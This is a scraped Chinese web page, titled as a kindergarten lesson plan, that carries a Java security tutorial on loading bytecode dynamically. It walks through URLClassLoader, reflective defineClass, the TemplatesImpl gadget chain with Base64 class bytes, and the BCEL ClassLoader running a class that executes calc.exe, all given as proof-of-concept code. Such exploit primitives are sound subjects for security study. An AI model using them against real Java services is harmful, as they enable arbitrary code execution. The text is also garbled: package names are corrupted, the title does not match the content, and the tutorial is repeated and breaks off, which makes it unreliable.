您当前的位置:首页 > 星座 > 处女座

aaqqw(安安全全玩滑梯小班教案)

时间:2023-12-28 05:35:19 作者:煮酒送别 来源:网络

本文目录一览:

8K字详解Java安全之动态加载字节码

Java字节码

简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自己的代码编译一次,就可以运行在不同平台的JVM中。甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行:uploading-image-878441.png

URLClassLoader加载远程class文件#

ClassLoader是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认的就是根据类名来加载类,这个类名需要是完整路径,比如说javang.Runtime

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

使用Http协议测试,看Java是否能从远程HTTP服务器上加载.class文件:

import java.URL;import java.URLClassLoader;public class HelloClassLoader { public static void main( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:7777/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("Hello"); c.newInstance(); }}

先编译一个.class文件放在服务器上

public class Hello { static{ System.out.println("Hello,gk0d"); }}

这里用python起一个微型服务器

python -m http.server 7777 --bind 127.0.0.1

注意:我这里是换了端口,且绑定了127.0.0.1,

我使用第二种是报错的,问了很多人,原因如下:第二种默认启动的服务器是IPV6地址,Java是解析不了的。这种情况在JNDI注入中也有出现。如果有懂的大佬,欢迎留言。

利用ClassLoader#defineClass直接加载字节码#

其实,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClassloadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClassfindClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClassdefineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

native方法称为本地方法。在java源程序中以关键字“native”声明,不提供函数体。其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。简而言就是Java中声明的可调用的使用C/C++实现的方法。

例子:

package org.gk0d;import javang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+ "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+ "bG8uamF2YQwABwAIBwDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+ "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+ "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQKExqYXZhL2xhbmcvU3RyaW5n"+ "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+ "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"); Class hello = (Class)defineClassvoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length); hello.newInstance(); }}//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

里面是Hello.class的base64编码

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

利用TemplatesImpl加载字节码#

前面分析了defineClass方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl,com.sun.apache.xalanternal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类TransletClassLoader :

static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }}

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

从 TransletClassLoader#defineClass() 向前追溯一下调用链:

TransletClassLoader#defineClass() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getOutputProperties()

先看TemplatesImpl#defineTransletClasses()方法:

private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }

但它是一个private方法,还是不能直接调用,继续往上看到getTransletInstance(),

private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法 // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString(), e); } }

还是private方法,继续找到newTransformer()方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);//调用了getTransletInstance方法 if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

是public方法了,可以直接调用,所以一条调用链就出来了

首先得设置TemplatesImpl对象的三个私有属性,这里我们用反射设置就行,三个属性:_bytecodes、 _name 和 _tfactory

_name:为任意字符串,只要不是null才可以进入defineTransletClasses()_bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null_tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

另外TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.apache.xalanternal.xsltctime.AbstractTranslet 的子类所以,我们需要构造一个特殊的类:

package org.gk0d;import com.sun.apache.xalanternal.xsltc.DOM;import com.sun.apache.xalanternal.xsltc.TransletException;import com.sun.apache.xalanternal.xsltctime.AbstractTranslet;import com.sun.apache.xmlternal.dtm.DTMAxisIterator;import com.sun.apache.xmlternal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public HelloTemplatesImpl() { super(); System.out.println("Hello TemplatesImpl"); }}

解释以下为什么多了两个transform方法

这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,这时子类如果不是抽象的,那必须将其他接口方法都实现。这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)是父类里面的抽象方法所以要重写transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

同样将其编译为class文件,然后base64编码最后就是写poc了,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue:

package org.gk0d;import com.sun.apache.xalanternal.xsltc.trax.TemplatesImpl;import com.sun.apache.xalanternal.xsltc.trax.TransformerFactoryImpl;import javang.reflect.Field;import java.util.Base64;public class a { public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, Value); } public static void main(String[] args) throws Exception {// source: bytecodes/HelloTemplateImpl.java byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" + "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" + "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" + "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" + "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" + "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" + "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" + "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" + "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" + "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" + "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" + "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" + "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQKExqYXZhL2xhbmcvU3RyaW5n" + "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" + "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" + "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" + "DwABABAAAAACABE="); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{code}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer(); }}

利用BCEL ClassLoader加载字节码#

关于BCEL先看看p神的:/d/file/gt/2023-09/wpyj4ogbkqq.html Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中。

BCEL属于Apache Commons项目下的一个子项目,全名应Apache Commons BCE,它提供了一系列用于分析、修改和创建Java Class文件的API,从库功能来看,使用性远不及其他库,但被Apache Xalan所使用,而Apache Xalan又是Java内部对于JAXP的实现,所以BCEL也被包含在了JDK的原生库中位com.sun.apache.bcel。

BCEL包中有com.sun.apache.bcelternal.util.ClassLoader类,它是一个ClassLoader,但重写了Java内置的ClassLoader#LoadClass方法

在LoadClass中,会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode来看一下decode的具体算法:

private static class JavaWriter extends FilterWriter { public JavaWriter(Writer out) { super(out); } public void write(int b) throws IOException { if(isJavaIdentifierPart((char)b) && (b != ESCAPE_CHAR)) { out.write(b); } else { out.write(ESCAPE_CHAR); // Escape character // Special escape if(b >= 0 && b < FREE_CHARS) { out.write(CHAR_MAP[b]); } else { // Normal escape char[] tmp = Integer.toHexString(b).toCharArray(); if(tmp.length == 1) { out.write('0'); out.write(tmp[0]); } else { out.write(tmp[0]); out.write(tmp[1]); } } } } public void write(char[] cbuf, int off, int len) throws IOException { for(int i=0; i < len; i++) write(cbuf[off + i]); } public void write(String str, int off, int len) throws IOException { write(str.toCharArray(), off, len); } }

可以理解为是传统字节码的16进制编码,然后将 \ 替换为 $ ,默认还会在最外层加上 GZip 压缩

边写恶意类

package org.gk0d;import java.io.IOException;public class calc{ static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } }}

然后通过BCEL提供的两个类Repository和utility来利用:

Repository用于将一个Java Class先转换成原生字节码(也可以直接javac编译获得);utility用于将原生字节码转换成BCEL格式的字节码

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;public class POP { public static void main(String[] args) throws Exception{ JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); }}

最后用BCEL ClassLoader加载这串特殊的字节码,并执行里面的代码:

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;import com.sun.apache.bcelternal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception{ c(); } private static void b() throws Exception{ JavaClass javaClass = Repository.lookupClass(a.class); String code = Utility.encode(javaClass.getBytes(),true); System.out.println(code); } private static void c() throws Exception { new ClassLoader().loadClass("$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$I$82$f8$7e$3f$c1$85l$dci$dc$YM$8c$f5$R$n$ba$be$5co$f0$o$b6$a4$5c$M$7f$e4$da$8d$g$X$7e$80$le$9c$5e$VM$b4Ig$3a$e7$cc93$93$be$bd$bf$bc$C$d8$c2$9a$L$H$e3$$$s0$e9$60$w$ce$d36f$5c$a40kc$ce$c6$3cCzG$FJ$ef2$q$cb$95$L$Gk$_$bc$92$M9_$F$f2$a4w$db$90Q$9d7$da$84$U$fcP$f0$f6$F$8fT$5c$7f$81$96$beV$5d$92$fa$7c$9b$c1$d9$R$ed$_$_F$5c$c9o$f1$3b$5eUa$f5$f0t$bf$_dG$ab0$a0$b6lMsqs$cc$3b$c6$83$d6apka$_$S$f2$40$c5$9ei$be$Z$L$3dd$e0$daX$f0$b0$88$r2$a7$e1bS$f6$a5$87e$ac0$U$ff1$f7$b0$K$97$86s$86$bc$a1$db$3chVO$h$z$v4$c3$c8$Pt$de$L$b4$ba$a5YnS$eaAQ$wW$fc$3f$3d$b4$b0ES$F$c3z$f9$X$5b$d3$91$K$9a$db$bf$FgQ$ud$b7K$82$5c$87Hm$ce$acG$5cH$ba$c0$a6$ff$Q$3f$J$b0$f8$$$8aCTU$v3$ca$a9$8d$t$b0$HC$7b$U$d3$GL$oK$d1$fbl$c00r$94$j$e4$Hbn$cc$80$c23$S$85$e4$p$ac$cb$7b8G$h$8fH$3f$Y$3cC$da$U$b9$c4$8ec$f4$V$fbf$Mj$93$b3$83$Rr$fa$9e$90$85Eu$81$aa$o$bd6$S$be$8dQ$8b$88$92Yj$ec$D$e5$e5$f0$NQ$C$A$A").newInstance(); }}

代码进行简化后如下

package org.gk0d;import com.sun.apache.bcelternal.Repository;import com.sun.apache.bcelternal.classfile.JavaClass;import com.sun.apache.bcelternal.classfile.Utility;import com.sun.apache.bcelternal.util.ClassLoader;public class Test { public static void main(String[] args) throws Exception { JavaClass javaClass = Repository.lookupClass(calc.class); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); new ClassLoader().loadClass("$$BCEL$$" + code).newInstance(); }}

总结

BCEL ClassLoader类和前面的TemplatesImpl 都出自于同一个第三方库,Apache Xalan,在Fastjson等漏洞的利用链构造时都有被用到还有一个重要的利用条件就是在Java 8u251的更新中,这个ClassLoader被移除了,所以之后只能在这个之前的版本才可以利用。

8K字详解Java安全之动态加载字节码

Java字节码

简单说,Java字节码就是.class后缀的文件,里面存放Java虚拟机执行的指令。由于Java是一门跨平台的编译型语言,所以可以适用于不同平台,不同CPU的计算机,开发者只需要将自己的代码编译一次,就可以运行在不同平台的JVM中。甚至,开发者可以用类似Scala、Kotlin这样的语言编写代码,只要你的编译器能够将代码编译成.class文件,都可以在JVM虚拟机中运行:uploading-image-878441.png

URLClassLoader加载远程class文件#

ClassLoader是一个加载器,就是用来告诉JVM虚拟机如何去加载这个类,默认的就是根据类名来加载类,这个类名需要是完整路径,比如说javang.Runtime

URLClassLoader 实际上是我们平时默认使用的 AppClassLoader 的父类,所以,我们解释URLClassLoader 的工作过程实际上就是在解释默认的Java类加载器的工作流程

正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:

URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

使用Http协议测试,看Java是否能从远程HTTP服务器上加载.class文件:

import java.URL;import java.URLClassLoader;public class HelloClassLoader { public static void main( String[] args ) throws Exception { URL[] urls = {new URL("http://localhost:7777/")}; URLClassLoader loader = URLClassLoader.newInstance(urls); Class c = loader.loadClass("Hello"); c.newInstance(); }}

先编译一个.class文件放在服务器上

public class Hello { static{ System.out.println("Hello,gk0d"); }}

这里用python起一个微型服务器

python -m http.server 7777 --bind 127.0.0.1

注意:我这里是换了端口,且绑定了127.0.0.1,

我使用第二种是报错的,问了很多人,原因如下:第二种默认启动的服务器是IPV6地址,Java是解析不了的。这种情况在JNDI注入中也有出现。如果有懂的大佬,欢迎留言。

利用ClassLoader#defineClass直接加载字节码#

其实,不管是加载远程class文件,还是本地的class或jar文件,Java都经历的是下面这三个方法调用

ClassLoader#loadClass ---> ClassLoader#findClass ---> ClassLoader#defineClassloadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClassfindClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上面说到的,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClassdefineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

所以真正核心的部分其实是 defineClass ,他决定了如何将一段字节流转变成一个Java类,Java默认的 ClassLoader#defineClass 是一个native方法,逻辑在JVM的C语言代码中

native方法称为本地方法。在java源程序中以关键字“native”声明,不提供函数体。其实现使用C/C++语言在另外的文件中编写,编写的规则遵循Java本地接口的规范(简称JNI)。简而言就是Java中声明的可调用的使用C/C++实现的方法。

例子:

package org.gk0d;import javang.reflect.Method;import java.util.Base64;public class HelloDefineClass { public static void main(String[] args) throws Exception { Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEA"+ "Bjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVs"+ "bG8uamF2YQwABwAIBwDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZh"+ "L2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry"+ "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQKExqYXZhL2xhbmcvU3RyaW5n"+ "OylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoA"+ "AAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM"); Class hello = (Class)defineClassvoke(ClassLoader.getSystemClassLoader(), "Hello", code,0, code.length); hello.newInstance(); }}//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

里面是Hello.class的base64编码

注意:在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目标机器上执行任意代码,需要想办法调用构造函数。

因为系统的 ClassLoader#defineClass 是一个保护属性,所以我们无法直接在外部访问,不得不使用反射的形式来调用。在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。

利用TemplatesImpl加载字节码#

前面分析了defineClass方法并不好直接利用,但是Java底层还是有一些类用到了它,这就是 TemplatesImpl,com.sun.apache.xalanternal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类TransletClassLoader :

static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super(parent); _loadedExternalExtensionFunctions = null; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super(parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null; // The _loadedExternalExtensionFunctions will be empty when the // SecurityManager is not set and the FSP is turned off if (_loadedExternalExtensionFunctions != null) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null) { ret = super.loadClass(name); } return ret; } /** * Access to final protected superclass member from outer class. */ Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }}

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

从 TransletClassLoader#defineClass() 向前追溯一下调用链:

TransletClassLoader#defineClass() -> TemplatesImpl#defineTransletClasses() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getOutputProperties()

先看TemplatesImpl#defineTransletClasses()方法:

private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);//在这里调用了defineClass final Class superClass = _class[i].getSuperclass(); // Check if this is the main class if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }

但它是一个private方法,还是不能直接调用,继续往上看到getTransletInstance(),

private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; if (_class == null) defineTransletClasses();//此处调用defineTransletClasses方法 // The translet needs to keep a reference to all its auxiliary class to prevent the GC from collecting them AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].getConstructor().newInstance(); translet.postInitialization(); translet.setTemplates(this); translet.setOverrideDefaultParser(_overrideDefaultParser); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString(), e); } }

还是private方法,继续找到newTransformer()方法

public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);//调用了getTransletInstance方法 if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }

是public方法了,可以直接调用,所以一条调用链就出来了

首先得设置TemplatesImpl对象的三个私有属性,这里我们用反射设置就行,三个属性:_bytecodes、 _name 和 _tfactory

_name:为任意字符串,只要不是null才可以进入defineTransletClasses()_bytecodes:由字节码组成的数组,用来存放恶意代码,其值不能为null_tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用_tfactory.getExternalExtensionsMap() ,如果是null会出错

另外TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是com.sun.apache.xalanternal.xsltctime.AbstractTranslet 的子类所以,我们需要构造一个特殊的类:

package org.gk0d;import com.sun.apache.xalanternal.xsltc.DOM;import com.sun.apache.xalanternal.xsltc.TransletException;import com.sun.apache.xalanternal.xsltctime.AbstractTranslet;import com.sun.apache.xmlternal.dtm.DTMAxisIterator;import com.sun.apache.xmlternal.serializer.SerializationHandler;public class HelloTemplatesImpl extends AbstractTranslet { public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public HelloTemplatesImpl() { super(); System.out.println("Hello TemplatesImpl"); }}

解释以下为什么多了两个transform方法

这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,这时子类如果不是抽象的,那必须将其他接口方法都实现。这里面 `transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)是父类里面的抽象方法所以要重写transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

同样将其编译为class文件,然后base64编码最后就是写poc了,就新建一个TemplatesImpl对象,把属性设置进去然后执行newTransformer方法触发,主要是咱得先写一个利用反射给私有属性赋值的一个方法setFieldValue:

